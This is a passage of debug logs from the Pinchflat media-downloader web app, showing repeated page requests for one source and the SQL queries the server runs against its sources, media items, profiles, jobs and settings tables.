s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.533 [debug] QUERY OK source="media_items" db=0.4ms idle=9.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 04:53:44.534 [debug] QUERY OK source="media_items" db=1.0ms idle=6.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 04:53:44.538 [debug] QUERY OK source="sources" db=0.6ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.540 [debug] QUERY OK source="media_items" db=1.0ms idle=8.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [36] 04:53:44.542 [debug] QUERY OK source="media_items" db=1.6ms decode=0.1ms idle=8.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 04:53:44.547 [info] Sent 200 in 32ms 04:53:44.557 [info] GET /sources/36/ 04:53:44.557 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 04:53:44.558 [debug] QUERY OK source="sources" db=0.5ms idle=25.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.559 [debug] QUERY OK source="media_profiles" db=0.3ms idle=24.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:44.560 [debug] QUERY OK source="tasks" db=0.5ms idle=21.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [36, "executing", "available", "scheduled", "retryable"] 04:53:44.561 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=20.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7275] 04:53:44.562 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=19.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.563 [debug] QUERY OK source="settings" db=0.4ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.564 [debug] QUERY OK source="settings" db=0.3ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.568 [debug] QUERY OK source="sources" db=0.3ms queue=0.3ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.570 [debug] QUERY OK source="media_items" db=0.9ms idle=7.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 04:53:44.572 [debug] QUERY OK source="media_items" db=1.6ms idle=8.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 04:53:44.573 [debug] QUERY OK source="sources" db=0.3ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.574 [debug] QUERY OK source="media_items" db=0.4ms idle=9.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 04:53:44.576 [debug] QUERY OK source="media_items" db=1.6ms idle=6.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 04:53:44.579 [debug] QUERY OK source="sources" db=0.4ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.581 [debug] QUERY OK source="media_items" db=0.8ms idle=8.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [36] 04:53:44.583 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=8.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 04:53:44.586 [info] Sent 200 in 28ms 04:53:44.589 [info] GET /sources/36/ 04:53:44.590 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 04:53:44.591 [debug] QUERY OK source="sources" db=0.5ms idle=16.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.592 [debug] QUERY OK source="media_profiles" db=0.5ms idle=15.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:44.593 [debug] QUERY OK source="tasks" db=0.5ms idle=13.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [36, "executing", "available", "scheduled", "retryable"] 04:53:44.594 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=12.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7275] 04:53:44.595 [debug] QUERY OK source="settings" db=0.3ms idle=11.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.596 [debug] QUERY OK source="settings" db=0.2ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.597 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.601 [debug] QUERY OK source="sources" db=0.3ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.603 [debug] QUERY OK source="media_items" db=0.9ms idle=8.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 04:53:44.606 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=8.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 04:53:44.607 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.608 [debug] QUERY OK source="media_items" db=0.5ms idle=10.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 04:53:44.610 [debug] QUERY OK source="media_items" db=1.5ms idle=7.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 04:53:44.613 [debug] QUERY OK source="sources" db=0.3ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.615 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=8.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [36] 04:53:44.618 [debug] QUERY OK source="media_items" db=1.7ms idle=8.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 04:53:44.620 [info] Sent 200 in 30ms 04:53:44.631 [info] GET /sources/36/edit 04:53:44.631 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 04:53:44.632 [debug] QUERY OK source="sources" db=0.4ms idle=23.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.634 [debug] QUERY OK source="media_profiles" db=0.4ms idle=22.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 04:53:44.635 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=20.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.635 [debug] QUERY OK source="settings" db=0.3ms idle=19.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.637 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=18.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", 